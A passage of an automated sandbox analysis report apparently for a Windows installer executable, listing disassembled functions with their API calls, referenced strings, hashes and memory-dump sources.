Opcode Fuzzy Hash: de0bdc54df66b3c3983231011ebff28f7c8d27c4fe8394decf7bd7e1f7291a25
Instruction Fuzzy Hash: 0C110831A80308FBDF309B91CE42AAEBBB9FF40B04F609166F501E6190D3715F81D610

Function 00A5010B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000001,00000000,00000000,00000000,00000000,00000000,20000004,?,00A37CFD,00000000,00000001,20000004,00000000,00000000,00000000,00000000), ref: 00A5013C
SetNamedSecurityInfoW.ADVAPI32(00000000,000007D0,00000003,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,20000004,?,00A37CFD,00000000), ref: 00A50157

Strings

aclutil.cpp, xrefs: 00A5017D

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: InfoNamedSecuritySleep
String ID: aclutil.cpp
API String ID: 2352087905-2159165307
Opcode ID: 40d3abb178373d91359cb7678b1b6bf4dc830a3c59ae1f96c45b407c6bf4657d
Instruction ID: 7878874bcd60c34fae47c324ebb867812d05d99a27e869cbe00961063d542590
Opcode Fuzzy Hash: 40d3abb178373d91359cb7678b1b6bf4dc830a3c59ae1f96c45b407c6bf4657d
Instruction Fuzzy Hash: 8D01393390062ABBCF129F94CD05F9E7A65FF44756F054224FE04B6160D235DE2AAB91

Function 00A2C1CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000000), ref: 00A2C1E3
CoUninitialize.OLE32(?,?,?,?,?,?), ref: 00A2C246

Strings

Failed to initialize COM on cache thread., xrefs: 00A2C1F0

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: InitializeUninitialize
String ID: Failed to initialize COM on cache thread.
API String ID: 3442037557-3629645316
Opcode ID: 562a605d7ebed82b1fbdddeb1907ceec2b2ae5bc12228e96a22ad6a6a8618edf
Instruction ID: cd516edabf778f1f4706a70853904bddce1f2bf913116ba518f4eaa99a07dc3d
Opcode Fuzzy Hash: 562a605d7ebed82b1fbdddeb1907ceec2b2ae5bc12228e96a22ad6a6a8618edf
Instruction Fuzzy Hash: D8011BB6500719AFDB10DBA8D944EDABBFCEF08355F108026F909D7111DB71A9449BA0

Function 00A56B0D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A53DFC: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00A57B1F,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 00A53E10

RegCloseKey.ADVAPI32(00000000,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,00020019,?,?,?,00000000,?,?,?,00A56BB9,?), ref: 00A56B7B

Part of subcall function 00A53C0E: RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,00000105,00000000,00000000,?,?,?,?,00A2565B,00000000,Installed,00000000,?), ref: 00A53C33

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System, xrefs: 00A56B2B
EnableLUA, xrefs: 00A56B4D

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: EnableLUA$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
API String ID: 3677997916-3551287084
Opcode ID: 7721d35a63ae24c7e0753a1e873e4d2a3f2b1fd6ebec744bcfb29cc8abbb27cc
Instruction ID: 09bea7cdce8d7bfceef0f29e6885b28679f051133dff65c2cf6e9d40dae495b4
Opcode Fuzzy Hash: 7721d35a63ae24c7e0753a1e873e4d2a3f2b1fd6ebec744bcfb29cc8abbb27cc
Instruction Fuzzy Hash: 22018F76640218FFCF11DFA8CD86A9EBAB9FB84752F228475E905E3110EA709E449760

Function 00A51D0F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(0000007F,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00A51DBE,00000000,?,00000200), ref: 00A51D53
GetLastError.KERNEL32(?,00A51DBE,00000000,?,00000200,?,00A574B0,00000000,00000000,00000000,00000000,?,00000000,?,00A5788C,00000000), ref: 00A51D5D

Strings

strutil.cpp, xrefs: 00A51D82

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastString
String ID: strutil.cpp
API String ID: 3728238275-3612885251
Opcode ID: 267887295ec4924e4aec8e8aefbee40517ab73b88d63755e3061b662c86cbb30
Instruction ID: 49ffa10e317498561ad7a57a300e75d6fcdebff47d78d5ce6adf09a5d8adee50
Opcode Fuzzy Hash: 267887295ec4924e4aec8e8aefbee40517ab73b88d63755e3061b662c86cbb30
Instruction Fuzzy Hash: 2601B13B20060ABADB115A55CC04FAA3F79FF81772F118428FD288B150EB35C8199B60

Function 00A29FB2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?), ref: 00A29FC7

Part of subcall function 00A5054B: GetModuleHandleW.KERNEL32(kernel32,IsWow64Process,00000000,?,?,00A29175,00000000), ref: 00A5055F
Part of subcall function 00A5054B: GetProcAddress.KERNEL32(00000000), ref: 00A50566
Part of subcall function 00A5054B: GetLastError.KERNEL32(?,?,00A29175,00000000), ref: 00A5057D

Part of subcall function 00A29B4F: RegCloseKey.ADVAPI32(00000000,?,00000000,CommonFilesDir,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,00020119,00000000), ref: 00A29BD5

Strings

Failed to set variant value., xrefs: 00A2A003
Failed to get 64-bit folder., xrefs: 00A29FEA

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AddressCloseCurrentErrorHandleLastModuleProcProcess
String ID: Failed to get 64-bit folder.$Failed to set variant value.
API String ID: 3109562764-2681622189
Opcode ID: 7c04b6c46fc7432846388b5c458eb43e6cc325ac90b097e780c0d8fe698d8192
Instruction ID: dcbf89a8baf604cc15b0edb87bc60cf8ba5d3d8442311d03bfac0569203c8609
Opcode Fuzzy Hash: 7c04b6c46fc7432846388b5c458eb43e6cc325ac90b097e780c0d8fe698d8192
Instruction Fuzzy Hash: 9F01D672904128FF8B21EBA8ED05CDFFABCEF94711B204166F805B3050E6715E44A6A1

Function 00A5208E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00A2213E,?,00000104,?,00000104,?,00000000,?,?,00A2213E,?,00000000,?,?,?,7744C3F0), ref: 00A520AF
GetLastError.KERNEL32(?,00A2213E,?,00000000,?,?,?,7744C3F0,?,00000000), ref: 00A520C6

Strings

pathutil.cpp, xrefs: 00A520EB

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: pathutil.cpp
API String ID: 2776309574-741606033
Opcode ID: b11047f3fc8393be3df2f195972117647198421a105f544119c7c7d97f68753f
Instruction ID: ac3c5578b47183b290a311fcd122093f4eeec166675258722dfe38d95895a73a
Opcode Fuzzy Hash: b11047f3fc8393be3df2f195972117647198421a105f544119c7c7d97f68753f
Instruction Fuzzy Hash: D4F022726822266B93209A559C88B6BBB5CFF06BB2B014124FD04EB190EB30DC4CD7F0

Function 00A55DF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,00A55F23,?,?,00000000), ref: 00A55E16
GetLastError.KERNEL32(?,?,00A55F23,?,?,00000000), ref: 00A55E20

Strings

fileutil.cpp, xrefs: 00A55E4A

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: fileutil.cpp
API String ID: 442123175-2967768451
Opcode ID: 0996e3dc45de500435101388d3f6a66e2f0a4fa41c0c10fa8d348d5cd0beb9d4
Instruction ID: cc5795bc45d3a2565420c577819909f3334c035160cb9a477e488d8279306857
Opcode Fuzzy Hash: 0996e3dc45de500435101388d3f6a66e2f0a4fa41c0c10fa8d348d5cd0beb9d4
Instruction Fuzzy Hash: 36F08132A00615ABD7109B6ADC16FAF7B69FB81B62F050014BD18D6140D630EE0896A0

Function 00A271EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A53DFC: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00A57B1F,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 00A53E10

RegCloseKey.ADVAPI32(00000000,00000000,00000000,?,?,00020006,00000000,00000000,00000001,?,?,00A41E75,000000F9,00000000,000000B9,00000000), ref: 00A27243

Strings

Failed to update resume mode., xrefs: 00A2722D
Failed to open registration key., xrefs: 00A27213

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseOpen
String ID: Failed to open registration key.$Failed to update resume mode.
API String ID: 47109696-3366686031
Opcode ID: 5bacfaa54dd332539aca1113349a98f8ccbfdd929d7de8c3e40ae1dcaf57c701
Instruction ID: 3560c4c7cfb496882b1241222ef8d1a6e2afe73f34f6ddc0ac736f0355c27704
Opcode Fuzzy Hash: 5bacfaa54dd332539aca1113349a98f8ccbfdd929d7de8c3e40ae1dcaf57c701
Instruction Fuzzy Hash: 82F0C237650324FBCB119798ED02FDE72B9BB94312F200439F901E2191DA70EB04A754

Function 00A55D1B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetFileSizeEx.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00A22787,?,?,?,00000000,00000000), ref: 00A55D33
GetLastError.KERNEL32(?,?,?,00A22787,?,?,?,00000000,00000000,?,?,?,7744C3F0,?,00000000), ref: 00A55D3D

Strings

fileutil.cpp, xrefs: 00A55D62

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLastSize
String ID: fileutil.cpp
API String ID: 464720113-2967768451
Opcode ID: fc61ff152d4dd682d2dfa4fd2fae91b1303fe08c0838dcb20a925c04f878ffb5
Instruction ID: c7d29ffc7f02a89b36d3535d39a3a7661f375c8f7a3edb02ff571642faefbc9a
Opcode Fuzzy Hash: fc61ff152d4dd682d2dfa4fd2fae91b1303fe08c0838dcb20a925c04f878ffb5
Instruction Fuzzy Hash: E3F0C277A10705ABD710CFA9DC09AAE7BF8FF84722B10402DE898D7250E334E9488B60

Function 00A55CB1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,?,00A3819B,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00A55CC7
GetLastError.KERNEL32(?,00A3819B,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00A39C6F,00000000,00000001,?), ref: 00A55CD1

Strings

fileutil.cpp, xrefs: 00A55CF6

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID: fileutil.cpp
API String ID: 2976181284-2967768451
Opcode ID: 80368b9bc21665f1dafc58b60921d4ec2813535ced8a874253342d4e2cfce162
Instruction ID: a942965af5424d1917544011139f227fc8129a8b30cf2d585e6b0ed64da76026
Opcode Fuzzy Hash: 80368b9bc21665f1dafc58b60921d4ec2813535ced8a874253342d4e2cfce162
Instruction Fuzzy Hash: 0DF04432A0071AABDB11CFA5DC19EA77F68FF04752B018124FD19DB260D731D914D7A0

Function 00A58055 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

HttpQueryInfoW.WININET(00000000,20000005,00000000,00000000,00000000), ref: 00A58074
GetLastError.KERNEL32(?,?,00A4757F,?,?,00000000,000000FF,?,00000000,HEAD,00000000,00000000,?,00000000,?,?), ref: 00A5807E

Strings

inetutil.cpp, xrefs: 00A5809B

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorHttpInfoLastQuery
String ID: inetutil.cpp
API String ID: 4218848986-2900720265
Opcode ID: f3d19810d72c74ce60f164a45cf73dd740467e1bc0795b3c81a5379a2f1869e0
Instruction ID: d94f26200736d508d1b05f26b28126f41486eec5071735a3805376a566dfff99
Opcode Fuzzy Hash: f3d19810d72c74ce60f164a45cf73dd740467e1bc0795b3c81a5379a2f1869e0
Instruction Fuzzy Hash: ACF06272600215ABD7108F94DC49FAB7BA8FF01762F118115FD05EB280D678DA0887E0

Function 00A5823C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

HttpQueryInfoW.WININET(?,?,00000001,?,00000000), ref: 00A58265
GetLastError.KERNEL32(?,?,?,00A471DC,00000000,00000013,00000000,?,?,?,00A47457,00000000,?,00000000,?,00000000), ref: 00A5826F

Strings

inetutil.cpp, xrefs: 00A58294

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorHttpInfoLastQuery
String ID: inetutil.cpp
API String ID: 4218848986-2900720265
Opcode ID: 7bf8496b24a88767e5ef80fc60b3bba752c89540cc9b1e1884ed85c135f63330
Instruction ID: 69339a90ac5dece8eb2d48f717122f2e9d95956c035637670a1d6289a6f24b45
Opcode Fuzzy Hash: 7bf8496b24a88767e5ef80fc60b3bba752c89540cc9b1e1884ed85c135f63330
Instruction Fuzzy Hash: E9F062B2A10215BBEB208B94CC05FEF7AACFB01762F004115BD10E6140E678DA0487A0

Function 00A40709 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(F08B8006,00000000,00A21AA6,?,00A2D9EE,?,00A21AA6,00A21E12,00A21E12,00000000,?,00A21E22,A5BB4868,00A21E22,?,?), ref: 00A4073A
_memset.LIBCMT ref: 00A4074C

Part of subcall function 00A460DC: SetEvent.KERNEL32(526A5680,00A2222A,00A21E22,?,?,00A4071F,00A2222A,00000000,00A21AA6,?,00A2D9EE,?,00A21AA6,00A21E12,00A21E12,00000000), ref: 00A460FD
Part of subcall function 00A460DC: GetLastError.KERNEL32(?,?,00A4071F,00A2222A,00000000,00A21AA6,?,00A2D9EE,?,00A21AA6,00A21E12,00A21E12,00000000,?,00A21E22,A5BB4868), ref: 00A46107
Part of subcall function 00A460DC: CloseHandle.KERNEL32(004005BE,00000000,00A2222A,00A21E22,?,?,00A4071F,00A2222A,00000000,00A21AA6,?,00A2D9EE,?,00A21AA6,00A21E12,00A21E12), ref: 00A461A3
Part of subcall function 00A460DC: CloseHandle.KERNEL32(526A5680,00000000,00A2222A,00A21E22,?,?,00A4071F,00A2222A,00000000,00A21AA6,?,00A2D9EE,?,00A21AA6,00A21E12,00A21E12), ref: 00A461B0
Part of subcall function 00A460DC: CloseHandle.KERNEL32(A5BD4468,00000000,00A2222A,00A21E22,?,?,00A4071F,00A2222A,00000000,00A21AA6,?,00A2D9EE,?,00A21AA6,00A21E12,00A21E12), ref: 00A461BD

Strings

Failed to close cabinet., xrefs: 00A40725

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseHandle$ErrorEventLast_memset
String ID: Failed to close cabinet.
API String ID: 1352847294-2920093955
Opcode ID: 1c9f6034445f7114e515cfba3fc556ca3ecb9f750d1087c16b63748d4975197a
Instruction ID: e9b68ae92430f5fd7aff2afbc1f646a30a048fe68b579fc26112435d89121a5e
Opcode Fuzzy Hash: 1c9f6034445f7114e515cfba3fc556ca3ecb9f750d1087c16b63748d4975197a
Instruction Fuzzy Hash: 59F0AE3A240E1067D2116A1DAC45D5B775C9BD1771B204315F768E71C1DF31B8075666

Function 00A572D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32comCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(Microsoft.Update.AutoUpdate,00A21DEA,00000000,00A21DEA,?,?), ref: 00A572F3
CoCreateInstance.OLE32(00000000,00000000,00000001,00A72A20,00000000), ref: 00A5730C

Strings

Microsoft.Update.AutoUpdate, xrefs: 00A572EE

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID: Microsoft.Update.AutoUpdate
API String ID: 2151042543-675569418
Opcode ID: b05559ec48adac01e76e0798858918b79948fab0471f127a788c00f05b860167
Instruction ID: d4e4bd18468290c3115448eab5251ca653f395a81545f89d2ab0e99bb30def35
Opcode Fuzzy Hash: b05559ec48adac01e76e0798858918b79948fab0471f127a788c00f05b860167
Instruction Fuzzy Hash: 58F08C31A10209BEDB00EBE8DD06EAFB7B8FB48715F404425AA02E6191DA70AA058672

Function 00A55BAC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

Part of subcall function 00A559D0: SysAllocString.OLEAUT32(?), ref: 00A559E3
Part of subcall function 00A559D0: VariantInit.OLEAUT32(?), ref: 00A559EF
Part of subcall function 00A559D0: VariantClear.OLEAUT32(?), ref: 00A55A63
Part of subcall function 00A559D0: SysFreeString.OLEAUT32(00000000), ref: 00A55A6E

_wcstoul.LIBCMT ref: 00A55BD4

Part of subcall function 00A59171: wcstoxl.LIBCMT ref: 00A59181

SysFreeString.OLEAUT32(00000000), ref: 00A55BEA

Strings

`5w, xrefs: 00A55BEA

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: String$FreeVariant$AllocClearInit_wcstoulwcstoxl
String ID: `5w
API String ID: 935627439-4151700305
Opcode ID: 080582df2a7c162aa92379e7c3d64b325ca84d0108246bc62ad92bdfb2509b4c
Instruction ID: 44c00bd65ed562055ce2bdb578d1e7d6f94578a819d43356187ef17782b3356d
Opcode Fuzzy Hash: 080582df2a7c162aa92379e7c3d64b325ca84d0108246bc62ad92bdfb2509b4c
Instruction Fuzzy Hash: 25F05E31900619FBCF019FA4CD16B9D7B68FF00326F200060FD01AA160D771AE14EB94

Function 00A4A86A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,00A4A8A3,00000000,00000000,00000000,00000000,00000000,00A4C5E1,?,00A49587,00000003,00A4BB5E,00000001,00000000,00000000), ref: 00A4A875
__invoke_watson.LIBCMT ref: 00A4A891

Strings

PNEw, xrefs: 00A4A875

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: DecodePointer__invoke_watson
String ID: PNEw
API String ID: 4034010525-3542233003
Opcode ID: a98b2b7aa909219358b17b09551cf6cf32434c483014fd7975bfa984970fc97d
Instruction ID: 5870b05b1749443ac832fb56af2fed0996484fc62736badaeec7ea84d18b2563
Opcode Fuzzy Hash: a98b2b7aa909219358b17b09551cf6cf32434c483014fd7975bfa984970fc97d
Instruction Fuzzy Hash: 4AE0EC76040209FBDF066FA1DD099AE3F6AEF94351B544824FD2485031EB32CDB2EBA5

Function 00A537CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5309E: _memset.LIBCMT ref: 00A530C5
Part of subcall function 00A5309E: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00A530DA
Part of subcall function 00A5309E: LoadLibraryW.KERNELBASE(?,?,00000104,00A21C3B), ref: 00A53128
Part of subcall function 00A5309E: GetLastError.KERNEL32 ref: 00A53134

GetProcAddress.KERNEL32(RegDeleteKeyExW,AdvApi32.dll), ref: 00A537ED

Strings

AdvApi32.dll, xrefs: 00A537D2
RegDeleteKeyExW, xrefs: 00A537E2

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

